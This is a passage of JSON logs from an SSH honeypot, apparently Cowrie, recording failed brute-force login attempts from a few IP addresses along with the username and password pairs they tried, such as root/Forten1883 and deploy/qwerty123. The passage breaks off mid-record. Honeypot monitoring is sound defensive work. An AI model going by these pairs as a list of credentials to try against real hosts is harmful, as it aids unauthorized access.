{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:09.773932Z","src_ip":"45.156.87.253","session":"e4a9b01bd774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123","message":"login attempt [user2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:10.096645Z","src_ip":"45.156.87.253","session":"e4a9b01bd774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:11.185367Z","src_ip":"45.156.87.253","session":"e4a9b01bd774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":53046,"dst_ip":"10.17.0.5","dst_port":22,"session":"eed90aee4f1f","protocol":"ssh","message":"New connection: 51.250.105.222:53046 (10.17.0.5:22) [session: eed90aee4f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:11.924134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:11.929583Z","src_ip":"51.250.105.222","session":"eed90aee4f1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:12.052454Z","src_ip":"51.250.105.222","session":"eed90aee4f1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:12.427173Z","src_ip":"51.250.105.222","session":"eed90aee4f1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46024,"dst_ip":"10.17.0.5","dst_port":22,"session":"679678629c67","protocol":"ssh","message":"New connection: 45.156.87.253:46024 (10.17.0.5:22) [session: 679678629c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:13.085227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:13.089930Z","src_ip":"45.156.87.253","session":"679678629c67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:13.170590Z","src_ip":"45.156.87.253","session":"679678629c67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"modzmodz","message":"login attempt [root/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:13.416498Z","src_ip":"45.156.87.253","session":"679678629c67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:13.550948Z","src_ip":"51.250.105.222","session":"eed90aee4f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:14.614470Z","src_ip":"45.156.87.253","session":"679678629c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46036,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d4e8c985a94","protocol":"ssh","message":"New connection: 45.156.87.253:46036 (10.17.0.5:22) [session: 1d4e8c985a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:16.460773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:16.465070Z","src_ip":"45.156.87.253","session":"1d4e8c985a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:16.547171Z","src_ip":"45.156.87.253","session":"1d4e8c985a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jay","password":"jay","message":"login attempt [jay/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:16.795285Z","src_ip":"45.156.87.253","session":"1d4e8c985a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:17.879492Z","src_ip":"45.156.87.253","session":"1d4e8c985a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41254,"dst_ip":"10.17.0.5","dst_port":22,"session":"87a1066742b0","protocol":"ssh","message":"New connection: 45.156.87.253:41254 (10.17.0.5:22) [session: 87a1066742b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:19.952184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:19.955930Z","src_ip":"45.156.87.253","session":"87a1066742b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:20.040256Z","src_ip":"45.156.87.253","session":"87a1066742b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty123","message":"login attempt [deploy/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:20.289954Z","src_ip":"45.156.87.253","session":"87a1066742b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":44212,"dst_ip":"159.203.135.109","dst_port":22,"session":"019a3bcf0886","protocol":"ssh","message":"New connection: 67.231.24.5:44212 (159.203.135.109:22) [session: 019a3bcf0886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:20.788817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:20.792765Z","src_ip":"67.231.24.5","session":"019a3bcf0886","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:20.809953Z","src_ip":"67.231.24.5","session":"019a3bcf0886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"swap","password":"swap123","message":"login attempt [swap/swap123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:20.866538Z","src_ip":"67.231.24.5","session":"019a3bcf0886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:21.375041Z","src_ip":"45.156.87.253","session":"87a1066742b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:21.885867Z","src_ip":"67.231.24.5","session":"019a3bcf0886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41268,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d4bb3e9acec","protocol":"ssh","message":"New connection: 45.156.87.253:41268 (10.17.0.5:22) [session: 2d4bb3e9acec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:23.307024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:23.310788Z","src_ip":"45.156.87.253","session":"2d4bb3e9acec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:23.394889Z","src_ip":"45.156.87.253","session":"2d4bb3e9acec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:23.646334Z","src_ip":"45.156.87.253","session":"2d4bb3e9acec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:24.739148Z","src_ip":"45.156.87.253","session":"2d4bb3e9acec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41284,"dst_ip":"10.17.0.5","dst_port":22,"session":"113fb67985b5","protocol":"ssh","message":"New connection: 45.156.87.253:41284 (10.17.0.5:22) [session: 113fb67985b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:26.647503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:26.651916Z","src_ip":"45.156.87.253","session":"113fb67985b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:26.732689Z","src_ip":"45.156.87.253","session":"113fb67985b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"123","message":"login attempt [sftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:27.050602Z","src_ip":"45.156.87.253","session":"113fb67985b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:28.133868Z","src_ip":"45.156.87.253","session":"113fb67985b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52244,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f507140f169","protocol":"ssh","message":"New connection: 45.156.87.253:52244 (10.17.0.5:22) [session: 5f507140f169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:30.149067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:30.155811Z","src_ip":"45.156.87.253","session":"5f507140f169","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 